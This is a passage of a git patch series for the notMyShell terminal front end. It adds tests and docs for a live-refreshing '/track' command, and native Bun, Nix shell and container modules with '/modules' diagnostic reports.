'allowed', network: false, remote: false}); + await waitFor(() => task.runs === 1); + assert.equal(task.current?.exitCode, 0); + assert.ok(task.current?.truncated, 'truncation is visible'); + assert.ok(Buffer.byteLength(task.current?.output ?? '') <= 200100, 'output is bounded'); + assert.ok(task.current?.output.startsWith('π'), 'UTF-8 survives split chunks'); + engine.stop(task.id); + } finally { + engine.dispose(); + rmSync(cwd, {recursive: true, force: true}); + } +}); + +test('/track caps concurrent trackers and rejects non-finite intervals', async () => { + const cwd = mkdtempSync(join(tmpdir(), 'nmsh-track-limit-')); + const engine = new WatchTasks('/bin/sh'); + try { + assert.throws(() => engine.start('true', cwd, Infinity, {kind: 'allowed', network: false, remote: false}), /interval/u); + const active = Array.from({length: 8}, () => + engine.start('sleep 1', cwd, 5000, {kind: 'allowed', network: false, remote: false})); + assert.equal(engine.active().length, 8); + assert.throws(() => engine.start('true', cwd, 5000, {kind: 'allowed', network: false, remote: false}), /At most 8/u); + for (const task of active) engine.stop(task.id); + await waitFor(() => engine.scheduled === 0); + assert.equal(engine.active().length, 0); + } finally { + engine.dispose(); + rmSync(cwd, {recursive: true, force: true}); + } +}); + +test('/track fails visibly when the command or working directory is unavailable', async () => { + const cwd = mkdtempSync(join(tmpdir(), 'nmsh-track-fallback-')); + const engine = new WatchTasks('/bin/sh'); + try { + const missingCommand = engine.start('nmsh-nonexistent-test-command-393', cwd, 5000, + {kind: 'allowed', network: false, remote: false}); + await waitFor(() => missingCommand.runs === 1); + assert.notEqual(missingCommand.current?.exitCode, 0); + const missingCwd = engine.start('true', join(cwd, 'not-here'), 5000, + {kind: 'allowed', network: false, remote: false}); + await waitFor(() => missingCwd.runs === 1); + assert.notEqual(missingCwd.current?.exitCode, 0, 'invalid cwd cannot be a successful refresh'); + assert.match(missingCwd.current?.error ?? '', /ENOENT|spawn/u); + assert.equal(engine.active().length, 2); + } finally { + engine.dispose(); + rmSync(cwd, {recursive: true, force: true}); + } +}); + +test('/track confirmation refuses clipped small-terminal review', () => { + const confirm = {command: 'unknown status-command', cwd: '/tmp', intervalMs: 5000, reason: 'Unknown command', choice: 'no' as const}; + const rows = renderWatchPanel({selected: 0, output: false, confirm}, [], 30, Date.now(), 6); + const text = stripAnsi(rows.join('\n')); + assert.match(text, /Resize to review tracked/u); + assert.doesNotMatch(text, /Yes|confirm/u, 'clipped layouts cannot display approval controls'); +}); + +// ---- v0.21: the live transcript block ------------------------------------------------------------------------------ + +import {finalResultRows, MAX_TRACK_ROWS, trackBlockRows, trackStatus} from '../src/tasks/trackBlock.js'; +import {OutputBuffer} from '../src/output/OutputBuffer.js'; +import {logicalLines} from '../src/output/TranscriptSearch.js'; +import type {WatchTask} from '../src/tasks/WatchTasks.js'; + +const task = (overrides: Partial = {}): WatchTask => ({id: 'watch-x', command: 'df -h', cwd: '/', intervalMs: 5000, startedAt: 0, runs: 0, + status: 'running', changes: [], network: false, ...overrides}); +const run = (output: string, extra: Partial> = {}) => ({output, exitCode: 0, at: 1_000, durationMs: 100, ...extra}); + +test('track status says only what is known: pending, live, failed, timed out, paused, stale, refreshing, stopped', () => { + const plain = (watch: WatchTask, now = 2_000, sampling = false) => stripAnsi(trackStatus(watch, now, sampling)); + assert.match(plain(task()), /^◌ first run pending · every 5s · 0 runs$/u); + assert.match(plain(task(), 2_000, true), /first run…/u); + assert.match(plain(task({current: run('ok'), runs: 1})), /^◉ live · every 5s · updated \d\d:\d\d:\d\d · exit 0 · 1 run$/u); + assert.match(plain(task({current: run('no', {exitCode: 2}), runs: 3})), /exit 2/u); + assert.match(plain(task({current: run('', {timedOut: true, exitCode: null, durationMs: 15_000}), runs: 1})), /timed out after 15s/u); + assert.match(plain(task({current: run('ok'), status: 'paused', runs: 1})), /^‖ paused/u); + assert.match(plain(task({current: run('ok'), runs: 1}), 1_000 + 100 + 16_000), /no new result for 16s/u); + assert.match(plain(task({current: run('ok'), runs: 1}), 2_000, true), /refreshing…/u); + assert.match(plain(task({current: run('ok', {truncated: true}), runs: 1})), /output cut at 200 kB/u); + assert.match(plain(task({current: run('ok'), status: 'stopped', runs: 4})), /^■ stopped/u); +}); + +test('the live result keeps a stable height: shorter results pad, longer ones say how much is not shown; text is inert', () => { + const first = trackBlockRows(task({current: run('a\nb\nc\n'), runs: 1}), 80, 2_000, 0); + assert.equal(first.reserved, 3); + assert.deepEqual(first.rows.slice(1).map(row => stripAnsi(row)), [' a', ' b', ' c']); + const shorter = trackBlockRows(task({current: run('a\n'), runs: 2}), 80, 2_000, first.reserved); + assert.equal(shorter.rows.length, first.rows.length, 'a shorter refresh never moves what is below'); + const long = trackBlockRows(task({current: run(Array.from({length: 40}, (_, index) => `line ${index}`).join('\n')), runs: 3}), 80, 2_000, shorter.reserved); + assert.equal(long.reserved, MAX_TRACK_ROWS); + assert.match(stripAnsi(long.rows.at(-1)!), /… 29 more lines · \/track copy copies them all/u); + const hostile = trackBlockRows(task({current: run('\u001b[2Jclear\u202e!'), runs: 1}), 20, 2_000, 0); + assert.doesNotMatch(hostile.rows.join(''), /\u001b\[2J|\u202e/u); + for (const row of hostile.rows) assert.ok(stripAnsi(row).length <= 20); + assert.deepEqual(finalResultRows(task({current: run(Array.from({length: 5}, (_, index) => `${index}`).join('\n')), runs: 2}), 3).slice(1), + ['0', '1', '2', '… 2 more lines were not kept']); +}); + +test('the block: stored lines once, live rows replaced in place under them, never stored or searched', () => { + const buffer = new OutputBuffer(); + let watch = task({current: run('first\n'), runs: 1}); + let reserved = 0; + buffer.setLiveRows((id, width) => { const drawn = trackBlockRows(id === 'watch-x' ? watch : undefined, width, 2_000, reserved); reserved = drawn.reserved; return drawn.rows; }); + const anchor = buffer.addTrackBlock('watch-x', '/track df -h', ['⎿ Tracking df -h here']); + const stored = JSON.stringify(buffer.transcript().lines); + const before = buffer.wrapped(80); + const live = before.filter(row => row.derived); + assert.deepEqual(live.map(row => row.plain.trim()).slice(1), ['first']); + assert.ok(live.every(row => row.lineIndex === anchor)); + watch = task({current: run('second\n'), runs: 2}); + const after = buffer.wrapped(80); + assert.equal(after.length, before.length, 'one block, replaced in place'); + assert.deepEqual(after.filter(row => row.derived).map(row => row.plain.trim()).slice(1), ['second']); + assert.equal(JSON.stringify(buffer.transcript().lines), stored, 'refreshes store nothing'); + assert.equal(logicalLines(after).some(line => line.text.includes('second')), false, 'find never matches the live result'); + buffer.clearPresentation(); + assert.equal(buffer.wrapped(80).some(row => row.derived), false); +}); diff --git a/tests/trackApp.test.ts b/tests/trackApp.test.ts new file mode 100644 index 00000000..c3834deb --- /dev/null +++ b/tests/trackApp.test.ts @@ -0,0 +1,54 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {once} from 'node:events'; +import {mkdtempSync, realpathSync, rmSync, writeFileSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {isolateConfig} from './support/isolatedConfig.js'; +import {TerminalApp} from '../src/app/TerminalApp.js'; + +async function until(check: () => boolean, what: string, timeoutMs = 15_000): Promise { + const deadline = Date.now() + timeoutMs; + while (!check()) { + if (Date.now() > deadline) throw new Error(`timed out waiting for ${what}`); + await new Promise(resolve => setTimeout(resolve, 25)); + } +} +const stored = (app: TerminalApp) => (app['output'].transcript().lines as Array>) + .map(line => line.map(cell => cell?.text ?? ' ').join('').trimEnd()); +const live = (app: TerminalApp) => app['output'].wrapped(100).filter((row: {derived?: boolean}) => row.derived).map((row: {plain: string}) => row.plain.trim()); + +test('/track in the app: one block whose live result refreshes in place; /track stop leaves the last result once; /watch keeps its manager', {timeout: 60_000}, async () => { + const isolation = isolateConfig(); + const root = realpathSync(mkdtempSync(join(tmpdir(), 'nmsh-trackapp-'))); + const app = new TerminalApp(); + app['render'] = () => {}; + try { + await once(app['session'], 'prompt'); + app['shellCwd'] = root; + writeFileSync(join(root, 'value.txt'), 'one\n'); + app['handleWatch']('/track --every 2s -- cat value.txt', 'start', '--every 2s -- cat value.txt', true); + assert.equal(app['watchPanel'], undefined, '/track shows its result in the transcript, not the manager'); + await until(() => live(app).includes('one'), 'the first result'); + const linesAfterFirst = stored(app).length; + assert.match(stored(app).join('\n'), /\/track --every 2s -- cat value\.txt\n.*Tracking cat value\.txt here with sh -c/u); + writeFileSync(join(root, 'value.txt'), 'two\n'); + await until(() => live(app).includes('two'), 'the refreshed result', 10_000); + assert.equal(live(app).includes('one'), false, 'replaced, not appended'); + assert.equal(stored(app).length, linesAfterFirst, 'refreshes add no transcript lines'); + app['handleWatch']('/track refresh', 'now', '', true); + app['handleWatch']('/track refresh', 'now', '', true); + assert.match(stored(app).join('\n'), /still being produced; no second one was started/u, 'a refresh while one runs is refused, never overlapped'); + await until(() => !app['watches'].sampling(app['watches'].active()[0]!.id), 'the refresh to finish'); + app['handleWatch']('/track stop', 'stop', '', true); + await until(() => stored(app).some(line => line.includes('Stopped · last result')), 'the final result'); + const text = stored(app).join('\n'); + assert.match(text, /Stopped · last result \d\d:\d\d:\d\d · exit 0 · \d+ runs?\n\s*two/u); + assert.equal(text.split('Stopped · last result').length, 2, 'written once'); + assert.match(live(app)[0] ?? '', /^■ stopped/u, 'the live rows end with the stopped state'); + + app['handleWatch']('/watch ls', 'start', 'ls', false); + assert.ok(app['watchPanel'], '/watch opens its manager as before'); + app['watchPanel'] = undefined; + } finally { app['stop'](0); app['session'].kill(); isolation.restore(); rmSync(root, {recursive: true, force: true}); } +}); diff --git a/tests/trackLive.test.ts b/tests/trackLive.test.ts new file mode 100644 index 00000000..dcf5c600 --- /dev/null +++ b/tests/trackLive.test.ts @@ -0,0 +1,47 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {chmodSync, existsSync, mkdirSync, readFileSync, writeFileSync} from 'node:fs'; +import {join} from 'node:path'; +import {LiveSandbox, until} from './helpers/liveFrontend.js'; + +/** /track through the real composer and PTY: the live result updates on screen, copy and stop work, history is not spammed. */ +const supported = process.platform === 'darwin' || process.platform === 'linux'; + +test('live: /track refreshes one result in place, /track copy copies it, /track stop leaves it once', {skip: supported ? false : 'unsupported platform', timeout: 120_000}, async () => { + const sandbox = new LiveSandbox({provider: 'none', shellBackend: 'zsh'}); + const bin = join(sandbox.root, 'fake-bin'); + mkdirSync(bin); + const clip = join(sandbox.root, 'clipboard.txt'); + for (const name of ['pbcopy', 'xclip', 'wl-copy']) { + writeFileSync(join(bin, name), `#!/bin/sh\ncat > ${JSON.stringify(clip)}\n`); + chmodSync(join(bin, name), 0o755); + } + const frontend = sandbox.launch([], {cols: 100, rows: 30}, {PATH: `${bin}:${process.env.PATH}`, ...(process.platform === 'linux' ? {DISPLAY: ':nmsh-test'} : {})}); + try { + await frontend.waitFor(/Vespyr|notMyShell|zsh/u); + await frontend.run('echo READY', /READY/u); + writeFileSync(join(sandbox.home, 'value.txt'), 'alpha-1\n'); + let mark = frontend.mark; + frontend.pty.write('/track --every 2s -- cat value.txt\r'); + await frontend.waitFor(/Tracking cat value\.txt[\s\S]*live · every 2s[\s\S]*alpha-1/u, mark); + mark = frontend.mark; + writeFileSync(join(sandbox.home, 'value.txt'), 'alpha-2\n'); + await frontend.waitFor(/alpha-2/u, mark); + // The shell stays usable while the tracker refreshes. + await frontend.run('echo SHELL-STILL-HERE', /SHELL-STILL-HERE/u); + mark = frontend.mark; + frontend.pty.write('/track copy\r'); + await until(() => existsSync(clip) && readFileSync(clip, 'utf8') === 'alpha-2\n', 15_000, 'the latest result on the clipboard'); + mark = frontend.mark; + frontend.pty.write('/track stop\r'); + await frontend.waitFor(/Stopped · last result[\s\S]*alpha-2/u, mark); + await frontend.run('echo AFTER-TRACK', /AFTER-TRACK/u); + // The saved transcript holds NMSh's lines and the final result once, never one copy per refresh. + await until(async () => (await sandbox.transcripts().list()).some(session => JSON.stringify(session.transcript).includes('AFTER-TRACK')), 15_000, 'the journal'); + const sessions = await sandbox.transcripts().list(); + const text = sessions.flatMap(session => (session.transcript.lines as Array>) + .map(line => line.map(cell => cell?.text ?? ' ').join(''))).join('\n'); + assert.equal(text.split('alpha-2').length - 1, 1, 'the final result is stored once'); + assert.equal(text.includes('alpha-1'), false, 'earlier refreshes are never stored'); + } finally { await sandbox.dispose(); } +}); From 847fe6955ac9ab85e7d9ea1ea191167284c52bc4 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 14:38:36 +0530 Subject: [PATCH 014/157] Native modules: Bun, Nix shell and container; /modules explain and timings (#364, #365) Bun's requested version comes from .bun-version or package.json (packageManager, engines.bun) and the active one from its install location; the Nix shell module reads IN_NIX_SHELL; the container module names Docker, Podman, a dev container or Codespaces from marker files and host variables. Nothing is run. IN_NIX_SHELL, REMOTE_CONTAINERS and CODESPACES join the shell's allowlisted environment report. A Context Pack may now require 24 capabilities (as many as its modules), since the project pack needed a 17th. /modules explain and /modules timings write plain-text reports from the engine's snapshots: each configured module's surface, visibility reason and sources' state, age and timing; or the slowest last collections. No value is shown and nothing is collected to produce them. --- CHANGELOG.md | 2 + docs/design/native-module-coverage.md | 14 ++++- docs/development/v021-ledger.md | 4 +- docs/testing/v021-physical-qa.md | 11 ++++ src/app/TerminalApp.ts | 3 ++ src/commands/slashCommands.ts | 7 +-- src/context/capabilities/environment.ts | 21 +++++++- src/context/capabilities/runtimes.ts | 16 +++++- src/context/capabilities/system.ts | 24 ++++++++- .../packs/builtin/nmsh.environment.json | 13 ++++- src/context/packs/builtin/nmsh.project.json | 15 +++++- src/context/packs/builtin/nmsh.system.json | 10 +++- src/context/packs/schema.ts | 3 +- src/context/shellEnvironment.ts | 2 + src/prompt/moduleReport.ts | 53 +++++++++++++++++++ tests/contextCapabilities.test.ts | 43 +++++++++++++-- tests/moduleManager.test.ts | 2 +- tests/moduleReport.test.ts | 44 +++++++++++++++ 18 files changed, 268 insertions(+), 19 deletions(-) create mode 100644 src/prompt/moduleReport.ts create mode 100644 tests/moduleReport.test.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 08a47da1..61060a40 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -14,6 +14,8 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/). - Safe saving: the new text is written beside the file and renamed over it, keeping its mode, group, line endings, BOM and final newline; a symlink stays a symlink. If the file changed, was replaced or was deleted since you opened it, nothing is written until you choose Keep editing, Overwrite or Reload. A new file never replaces one that appeared meanwhile. - Limits: your own regular UTF-8 text files up to 1 MiB with one hard link, writable, with one kind of line ending. Others are refused with the reason and stay readable in `/view`. Extended attributes and ACLs are not carried over by a save. Unsaved text is lost if the NMSh window itself is closed. - **Semantic Output** for test runs and builds ([#386](https://github.com/raiseCatError/notMyShell/issues/386), first phase). A completed block whose output NMSh recognizes gets one overview row with the counts the tool printed (`✔ node --test · 1,772 passed · 0 failed · 25 skipped`, `✘ TypeScript · 3 errors in 2 files`) and, when it listed failures or diagnostics, a details row that opens them, taken verbatim from the output. Recognized: Node's test runner (spec and TAP), Jest, Vitest, pytest, `cargo test`, `go test`, TypeScript, Rust and GCC/Clang diagnostics; anything else stays raw only, and short passing output gets nothing. Details start open when the raw output is folded; click the details row or use Actions → Show or hide details. The output itself, its folding, search, selection and plain `/copy` are unchanged. `/copy --semantic` copies the reading (raw for an output without one, as the note says) and `/copy --both` the raw output and the reading under labelled NMSh separators. Settings → Transcript → Semantic Output turns it off. +- **Native modules: Bun, Nix shell and container** ([#364](https://github.com/raiseCatError/notMyShell/issues/364)). Bun's requested version comes from `.bun-version` or `package.json` (`packageManager`, `engines.bun`) and the active one from its install location; the Nix shell module shows `pure`/`impure` from `IN_NIX_SHELL`; the container module names Docker, Podman, a dev container or Codespaces from marker files and host variables. None runs anything; all are off until enabled in `/modules`, which recommends Bun and Nix when their files are present. +- **`/modules explain` and `/modules timings`** ([#365](https://github.com/raiseCatError/notMyShell/issues/365)) write a plain-text report into the transcript: each configured module's surface, whether it is on screen and why, and its sources' state, age and last collection time; or the slowest last collections. They read what the Context Engine already has and collect nothing. - **`/track`** keeps one live result of a finite command in the transcript, refreshed in place ([#393](https://github.com/raiseCatError/notMyShell/issues/393)). `/track df -h` or `/track --every 5s -- docker system df` writes the command once, then shows a status row (`live · every 5s · updated 13:49:25 · exit 0`, a failing exit, a timeout, paused, stale, refreshing) and the latest result under it, with a stable height. The shell stays free; nothing accumulates per refresh, and find, selection and `/copy` never include the live rows. `/track copy` copies the latest result, `/track refresh`, `pause`, `resume` and `stop` control it, and stopping leaves the last result in the transcript once. Samples run `sh -c` from the starting directory with your shell's PATH (not its aliases or functions), never overlap, and are bounded (200 kB, a timeout, at most 8 trackers); destructive and unknown commands are refused or need a Yes, as for `/watch`. Trackers stop with the window that started them. `/watch` keeps its manager and its behavior; both share one scheduler, which gains stricter interval parsing, refusals for substitutions, background jobs and heredocs, UTF-8-safe bounded capture, visible timeouts and a stop grace period (from draft #394). ### Fixed diff --git a/docs/design/native-module-coverage.md b/docs/design/native-module-coverage.md index c04e6051..c51ecf07 100644 --- a/docs/design/native-module-coverage.md +++ b/docs/design/native-module-coverage.md @@ -26,9 +26,9 @@ module behaves identically to its upstream namesake. | Git | `git_branch`, `git_status`, `git_commit`, `git_state`, `git_metrics` / `git` | Native: `gitBranch`, `gitStatus`; pack `nmsh.vcs` (`stash`, `upstream`) | Covered; commit/state/metrics are candidates only if requested | | Other VCS | `hg_branch`, `fossil_*`, `pijul_channel`, `vcsh` / `mercurial`, `fossil`, `jujutsu`, `sapling`, `svn`, `plastic`, `dvc` | Pack `nmsh.vcs`: `hg` (bookmark/branch), `jj` (repository state) | **Done: Jujutsu and Mercurial** ([#374](https://github.com/raiseCatError/notMyShell/pull/374)), from declarative `.jj` / `.hg` metadata; the rest defer to a provider | | Core runtimes | `nodejs`, `python`, `golang`, `rust`, `java`, `package` / `node`, `python`, `golang`, `rust`, `java`, `project` | Native: pack `nmsh.project` (`package`, `node`, `python`, `go`, `rust`, `java`) with requested vs. active versions | Covered | -| More language runtimes | `ruby`, `php`, `dotnet`, `swift`, `kotlin`, `zig`, `elixir`, `lua`, `haskell`, `dart`, `deno`, `bun`, `scala`, `perl`, `ocaml`, `nim`, `julia`, `r`, `crystal` | Only generic: built-in `toolchain` and `discoveredTools` show that a project uses a tool, not its version | **Done: Ruby, PHP, .NET, Swift, Zig, Deno ([#370](https://github.com/raiseCatError/notMyShell/pull/370)); Elixir, Dart, Flutter ([#372](https://github.com/raiseCatError/notMyShell/pull/372)). Remaining candidates: Bun, Kotlin/Scala, Lua, Haskell.** Same pattern as `runtimes.ts`: requested version from the project's own file, active version from the install path or the runtime's metadata, never by running it | +| More language runtimes | `ruby`, `php`, `dotnet`, `swift`, `kotlin`, `zig`, `elixir`, `lua`, `haskell`, `dart`, `deno`, `bun`, `scala`, `perl`, `ocaml`, `nim`, `julia`, `r`, `crystal` | Only generic: built-in `toolchain` and `discoveredTools` show that a project uses a tool, not its version | **Done: Ruby, PHP, .NET, Swift, Zig, Deno ([#370](https://github.com/raiseCatError/notMyShell/pull/370)); Elixir, Dart, Flutter ([#372](https://github.com/raiseCatError/notMyShell/pull/372)); Bun (v0.21: `.bun-version`, `package.json` `packageManager`/`engines.bun`, the install location). Remaining candidates: Kotlin/Scala, Lua, Haskell.** Same pattern as `runtimes.ts`: requested version from the project's own file, active version from the install path or the runtime's metadata, never by running it | | Build systems | `cmake`, `meson`, `gradle`, `maven`, `buf`, `xmake`, `bazel` / `cmake`, `gradle`, `mvn`, `bazel`, `nx` | Gradle/Maven appear as the `java` module's build tool; others only as discovered tools | Covered for Java; **candidate: a single `build` module**: done ([#373](https://github.com/raiseCatError/notMyShell/pull/373): Bazel, Gradle, Maven, CMake, Meson, Make) rather than one module each | -| Environment managers | `conda`, `direnv`, `mise`, `nix_shell`, `pixi`, `guix_shell`, `spack`, `singularity`, `container` / `nix-shell` | Native: `direnv` and `tools` (pack `nmsh.environment`); Python environments including conda/venv inside `python` | Covered for direnv/conda/venv; **candidates: mise, Nix shell, devcontainer/container** | +| Environment managers | `conda`, `direnv`, `mise`, `nix_shell`, `pixi`, `guix_shell`, `spack`, `singularity`, `container` / `nix-shell` | Native: `direnv` and `tools` (pack `nmsh.environment`); Python environments including conda/venv inside `python` | Covered for direnv/conda/venv; mise through `tools`. **Done in v0.21: Nix shell** (`IN_NIX_SHELL`, pure/impure) **and container** (Docker/Podman marker files, Codespaces and dev container host variables; pack `nmsh.system`) | | Cloud and infrastructure | `aws`, `gcloud`, `azure`, `kubernetes`, `terraform`, `helm`, `pulumi`, `docker_context`, `openstack`, `nats`, `opa` / `aws`, `az`, `gcp`, `kubectl`, `terraform`, `helm`, `pulumi`, `docker`, `argocd`, `cf`, `firebase` | Native: built-ins `kubeContext`, `dockerContext`; packs `nmsh.cloud` (`aws`, `gcp`, `azure`), `nmsh.infrastructure` (`terraform`, `helm`, `pulumi`) | Covered for the common set; ArgoCD, Firebase, Cloud Foundry, OpenStack, NATS, OPA: provider | | Frameworks and app tooling | `angular`, `react`, `svelte`, `tauri`, `flutter`, `unity`, `umbraco` (Oh My Posh) | None | **Do not duplicate.** These are project-type labels derived from the same files the runtimes read; they add chrome, not information | | Package managers | `npm`, `pnpm`, `yarn`, `bun` (OMP) | `package` module reports the package and its manager | Covered | @@ -55,3 +55,13 @@ directories (including hostile and symlinked files), and the explain/timings vie Starship, Oh My Posh and Powerlevel10k keep working as external prompt providers; nothing here replaces them. Importing their *visual* configuration into NMSh themes is a separate problem owned by [#304](https://github.com/raiseCatError/notMyShell/issues/304); translating their segment *logic* is not attempted. + +## v0.21 review (2026-10-18) + +Bun, Nix shell and container were added with the same rules (declarative files, allowlisted variables and marker-file +presence only; nothing run). The `requires` bound of a Context Pack rose from 16 to 24 so a pack can name as many +capabilities as it may hold modules. Kotlin/Scala, Lua and Haskell stay candidates: each needs a declarative version +source that is reliable enough to show (a Gradle Kotlin plugin version, a rockspec, a Stack resolver) and was not judged +worth a module per language in this release. Diagnostics (#365): `/modules explain` and `/modules timings` give a +plain-text report of routing, visibility reasons, source states and the slowest last collections, from the engine's +snapshots only. diff --git a/docs/development/v021-ledger.md b/docs/development/v021-ledger.md index aea9bb28..10d08c22 100644 --- a/docs/development/v021-ledger.md +++ b/docs/development/v021-ledger.md @@ -20,7 +20,7 @@ Automated results here are not physical-terminal validation. | 3 | `/edit` | #402 | `feature/v021-edit` (stacked on slice 2) | | PR open | | 4 | Semantic Output | #386 | `feature/v021-semantic` (stacked on slice 3) | | PR open | | 5 | `/track` | #393 (#394) | `feature/v021-track` (stacked on slice 4) | | PR open | -| 6 | Modules and diagnostics | #364, #365 | | | | +| 6 | Modules and diagnostics | #364, #365 | `feature/v021-modules` (stacked on slice 5) | | PR open | | 7 | Themes and controls | #401, #336 | | | | ## Decisions @@ -40,7 +40,7 @@ Automated results here are not physical-terminal validation. Checklist: [v0.21 physical QA](../testing/v021-physical-qa.md). Slice 1: section 1 (multi-row progress in Ghostty and Terminal.app, queued highlight colors). Slice 2: section 2 (`/view` keys, rendering, refusals, hostile text, NO_COLOR). Slice 3: section 3 (`/edit` editing keys, saving, conflicts, refusals). Slice 4: section 4 (overview rows, details -toggle, copy flags, Off). Slice 5: section 5 (`/track` block, refresh, copy, stop, cleanup). +toggle, copy flags, Off). Slice 5: section 5 (`/track` block, refresh, copy, stop, cleanup). Slice 6: section 6 (Bun, Nix, container, reports). ## Verification notes diff --git a/docs/testing/v021-physical-qa.md b/docs/testing/v021-physical-qa.md index ed702e27..3fbe93a7 100644 --- a/docs/testing/v021-physical-qa.md +++ b/docs/testing/v021-physical-qa.md @@ -23,6 +23,7 @@ | 4 Semantic Output | Ghostty | macOS | zsh | | Not run | | | 5 `/track` | Ghostty | macOS | zsh | | Not run | | | 5 `/track` | Terminal.app | macOS | Fish | | Not run | | +| 6 Modules | Ghostty | macOS | zsh | | Not run | | ## 1. Multi-row progress redraws (#388) @@ -103,3 +104,13 @@ - [ ] 5.7 An unknown command asks for Yes first; `rm`, `sudo`, `cd`, `$(...)`, `&` and heredocs are refused. - [ ] 5.8 Close the window with a tracker running: no `sh` or command processes are left (`ps`). `/watch git status` still opens its manager. + +## 6. Native modules and diagnostics + +- [ ] 6.1 In a folder with `bun.lock` and `"packageManager": "bun@1.1.30"`, `/modules` recommends Bun; enabled, typing + `bun` shows its version (requested, and active when installed through Homebrew). +- [ ] 6.2 `nix-shell -p hello` (or `nix develop`) with the Nix shell module enabled: it shows `impure`; it disappears + after `exit`. +- [ ] 6.3 In a Docker or Podman container (or a Codespace), the container module names it; on the host it shows nothing. +- [ ] 6.4 `/modules explain` lists every configured module with its surface and reason; `/modules timings` lists the + slowest collections; neither changes what is collected (the Status Strip CPU stays as it was). diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index e12189a7..0ca8fe6c 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -271,6 +271,7 @@ import {runDoctor} from '../doctor/doctor.js'; import {parseWatch, watchSafety, WatchTasks, type WatchSafety} from '../tasks/WatchTasks.js'; import {renderWatchPanel, watchPanelKey, watchRow, type WatchPanelState} from '../tasks/WatchPanel.js'; import {finalResultRows, trackBlockRows} from '../tasks/trackBlock.js'; +import {explainModules, moduleTimings} from '../prompt/moduleReport.js'; import {analyzePaste, KIND_LABELS, needsPreview, PASTE_EXACT_NOTE, pasteHeader, primaryKind, type PasteAnalysis, nmshCommandNote} from '../input/pasteGuard.js'; import type {BatchShell} from '../input/pasteBatch.js'; import {createPasteReview, displaySafe, pasteReviewKey, renderPasteReview, type PasteReviewState} from '../input/PasteReview.js'; @@ -2944,6 +2945,8 @@ export class TerminalApp { if (this.appearanceHub) { this.appearanceHub.view = 'motion'; this.appearanceHub.selected = 0; this.appearanceHub.previewStart = Date.now(); } } else if (slash.kind === 'prompt') { this.panelOrigin = undefined; await this.startPromptSettings(false); } + else if (slash.kind === 'modules' && slash.report === 'explain') this.output.addFrontendBlock(command.trim(), explainModules(this.promptConfiguration.modules, this.modulesContext(), this.promptConfiguration)); + else if (slash.kind === 'modules' && slash.report === 'timings') this.output.addFrontendBlock(command.trim(), moduleTimings(id => this.contextEngine.status(id))); else if (slash.kind === 'modules') { this.panelOrigin = undefined; this.openModulesManager(); } else if (slash.kind === 'chroma') { this.panelOrigin = undefined; this.startChromaSettings(); } else if (slash.kind === 'screensaver') { diff --git a/src/commands/slashCommands.ts b/src/commands/slashCommands.ts index 430f61fb..8791c228 100644 --- a/src/commands/slashCommands.ts +++ b/src/commands/slashCommands.ts @@ -51,7 +51,7 @@ const RAW_COMMANDS: readonly SlashCommand[] = [ {name: '/appearance', insertion: '/appearance', description: 'Configure terminal appearance'}, {name: '/motion', insertion: '/motion', description: 'Motion: context transitions, command launch, completion highlight and effects (same as /appearance → Motion)'}, {name: '/prompt', insertion: '/prompt', description: 'Configure prompt provider and composer layout'}, - {name: '/modules', insertion: '/modules', description: 'Context modules, catalog and Context Packs: show, route to a surface, search; saved as you change them'}, + {name: '/modules', insertion: '/modules', description: 'Context modules, catalog and Context Packs: show, route to a surface, search; saved as you change them (/modules explain · /modules timings)'}, {name: '/cursor', insertion: '/cursor', description: 'Text caret shape and blink while NMSh owns the composer'}, {name: '/activity', insertion: '/activity', description: 'Live activity colors for the running-command line'}, {name: '/screensaver', insertion: '/screensaver', description: 'Idle visuals: live gallery, timeout and colors'}, @@ -178,7 +178,7 @@ export type ParsedSlashCommand = | {kind: 'appearance'} | {kind: 'motion'} | {kind: 'prompt'} - | {kind: 'modules'} + | {kind: 'modules'; report?: 'explain' | 'timings'} | {kind: 'chroma'} | {kind: 'theme'} | {kind: 'themeBridge'} @@ -281,7 +281,8 @@ export function parseSlashCommand(input: string): ParsedSlashCommand | undefined if (/^\/appearance\s*$/u.test(input)) return {kind: 'appearance'}; if (/^\/motion\s*$/u.test(input)) return {kind: 'motion'}; if (/^\/prompt\s*$/u.test(input)) return {kind: 'prompt'}; - if (/^\/modules\s*$/u.test(input)) return {kind: 'modules'}; + const modules = /^\/modules(?:\s+(explain|timings))?\s*$/u.exec(input); + if (modules) return modules[1] ? {kind: 'modules', report: modules[1] as 'explain' | 'timings'} : {kind: 'modules'}; if (/^\/chroma\s*$/u.test(input)) return {kind: 'chroma'}; if (/^\/theme\s*$/u.test(input)) return {kind: 'theme'}; if (/^\/theme-bridge\s*$/u.test(input)) return {kind: 'themeBridge'}; diff --git a/src/context/capabilities/environment.ts b/src/context/capabilities/environment.ts index de29ec19..609ae706 100644 --- a/src/context/capabilities/environment.ts +++ b/src/context/capabilities/environment.ts @@ -77,4 +77,23 @@ export const direnv = defineCapability({ }, }); -export const ENVIRONMENT_CAPABILITIES = [toolVersions, direnv] as CapabilityDefinition[]; +export interface NixShellFact { + /** `pure` / `impure` as nix-shell and nix develop report it; `active` for an older nix that sets only 1. */ + state: 'pure' | 'impure' | 'active'; +} + +export const nixShell = defineCapability({ + id: 'env.nixShell', + title: 'Nix shell', + reads: ['IN_NIX_SHELL, set in the shell by nix-shell and nix develop (never runs nix)'], + scope: 'session', family: 'metadata', cost: 'cheap', trust: 'session', sensitivity: 'public', persistence: 'snapshot-safe', + fields: ['state'], env: ['IN_NIX_SHELL'], ttlMs: 30_000, timeoutMs: 500, invalidateOn: ['command'], + preview: {state: 'impure'}, + async resolve(context) { + const value = context.env.values.IN_NIX_SHELL; + if (!value) return undefined; + return {value: {state: value === 'pure' || value === 'impure' ? value : 'active'}, evidence: 'IN_NIX_SHELL'}; + }, +}); + +export const ENVIRONMENT_CAPABILITIES = [toolVersions, direnv, nixShell] as CapabilityDefinition[]; diff --git a/src/context/capabilities/runtimes.ts b/src/context/capabilities/runtimes.ts index 7dda17ed..90142ee8 100644 --- 